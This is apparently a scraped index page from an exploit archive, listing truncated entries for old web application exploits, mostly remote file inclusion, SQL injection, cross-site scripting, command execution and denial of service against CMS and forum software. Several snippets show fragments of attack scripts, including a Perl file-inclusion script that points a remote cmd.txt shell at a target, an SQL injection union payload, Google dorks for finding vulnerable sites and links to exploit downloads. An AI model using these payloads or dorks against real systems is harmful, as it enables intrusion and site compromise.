Pivot 1.30 RC2 - Privilege Escalation Remote Code Execution

Pivot 1.30 RC2 - Privilege Escalation Remote Code Execution !/usr/bin/php -q -d shortopentag=on ? echo "Pivot = 1.30 RC2 privileges escalation / remote commands execution exploit\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dorks: "Powered...

PHPWebGallery 1.x - comments.php Cross-Site Scripting

PHPWebGallery 1.x - comments.php Cross-Site Scripting source: https://www.securityfocus.com/bid/18798/info PhpWebGallery is prone to a cross-site scripting vulnerability because it fails to sanitize input before displaying it to users of the application. An attacker may leverage this issue to hav...

CrisoftRicette 1.0 - Cookbook.php Remote File Inclusion

CrisoftRicette 1.0 - Cookbook.php Remote File Inclusion source: https://www.securityfocus.com/bid/18674/info CrisoftRicette is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this iss...

Mambo 4.6rc1 - Weblinks Blind SQL Injection (2)

Mambo 4.6rc1 - Weblinks Blind SQL Injection 2 !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return...

FlashBB 1.1.8 - 'phpbb_root_path' Remote File Inclusion

!/usr/bin/perl TUFaT FlashBB perl flashBB.pl http://target.com/flashbb http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; Contact: h4ntu [email protected] use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2; if$Path!/http:/// ||...

DmxForum-2.1a.txt

!/usr/bin/perl by DarkFig -- www.acid-root.new.fr use LWP::Simple; if !$ARGV1 header; print "\n| Usage: ----------------|"; print "\n+------------------------------------------+"; print "\n| Example: http://localhost/dmx/ 1 ------|"; end; sub header print...

phpOnDirectory <= 1.0 Remote File Include Vulnerabilities

Exploit for unknown platform in category web applications ========================================================= phpOnDirectory = 1.0 Remote File Include Vulnerabilities ========================================================= $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$...

BlueShoes Framework 4.6 - Remote File Inclusion

BlueShoes Framework 4.6 - Remote File Inclusion $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ BlueShoes Framework 4.6 = Remote File Include Vulnerability $$ Script site: http://www.blueshoes.org/ $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ $$ Find...

CVE-2006-2737

The CVE-2006-2737 issue affects Nukedit 4.9.6 and earlier where utilities/register.asp allows remote creation of new users and assignment to arbitrary groups by tampering with the groupid parameter in the addDB action. This enables potential elevation to the administrative group. The vulnerabilit...

AssoCIateD CMS 1.1.3 - ROOT_PATH Remote File Inclusion

AssoCIateD CMS 1.1.3 - ROOTPATH Remote File Inclusion DEVIL TEAM THE BEST POLISH TEAM ACID v1.1.3 CMS rootpath - Remote File Include Vulnerabilities Script site: http://herve.labas.free.fr/acid/en/ Find by Kacper Rahim. Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko,...

AssoCIateD CMS 1.1.3 (root_path) Remote File Include Vulnerability

No description provided by source. DEVIL TEAM THE BEST POLISH TEAM ACID v1.1.3 CMS rootpath - Remote File Include Vulnerabilities Script site: http://herve.labas.free.fr/acid/en/ Find by Kacper Rahim. Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko, pepi Special greet...

AR-Blog 5.2 - Multiple Cross-Site Scripting Vulnerabilities

AR-Blog 5.2 - Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/18120/info AR-Blog is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may levera...

NucleusCMS.txt

!/usr/bin/php -q -d shortopentag=on ...

e107072.txt

Software: e107 CMS Versions: list$uid, $upw=$COOKIE$pref'cookiename' ? explode".", $COOKIE$pref'cookiename' : explode".", $SESSION$pref'cookiename'; ..... if$result = getuserdata$uid, "AND md5u.userpassword='$upw'", FALSE ..... Exploit: 0.6.xxx 1.blablahashpassword' union select from e107user whe...

ScozNews &lt;= 1.2.1 (mainpath) Remote File Inclusion Vulnerability

No description provided by source. DEVIL TEAM THE BEST POLISH TEAM ScozNews v1.2.1 - Remote File Include Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl dork: "Powered By ScozNews"...

GNUnet <= 0.7.0d (Empty UDP Packet) Remote Denial of Service Exploit

Exploit for unknown platform in category dos / poc ==================================================================== GNUnet = 0.7.0d Empty UDP Packet Remote Denial of Service Exploit ==================================================================== http://www.inj3ct0r.com/sploits/6148.zip...

TR Newsportal 0.36tr1 - 'poll.php' Remote File Inclusion

DEVIL TEAM THE BEST POLISH TEAM TR Newsportal - Remote File Include Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl dork: "TR Newsportal" brought by TRanx. extras/poll/poll.php: code /code...

Empire <= 4.3.2 (strncat) Denial of Service Exploit

Exploit for unknown platform in category dos / poc =================================================== Empire = 4.3.2 strncat Denial of Service Exploit =================================================== http://www.inj3ct0r.com/sploits/6145.zip 0day.today 2018-02-02...

Sugar Suite Open Source 4.2 - 'OptimisticLock' Command Execution

!/usr/bin/php -q -d shortopentag=on \r\n"; die; / software site: http://www.sugarcrm.com/crm/ i vulnerable code in modules/OptimisticLock/LockResolve.php: ... ifempty$GLOBALS'sugarEnt...

FreeBSD : openvpn -- LD_PRELOAD code execution on client through malicious or compromised server (be4ccb7b-c48b-11da-ae12-0002b3b60e4c)

Hendrik Weimer reports : OpenVPN clients are a bit too generous when accepting configuration options from a server. It is possible to transmit environment variables to client-side shell scripts. There are some filters in place to prevent obvious nonsense, however they don't catch the good old...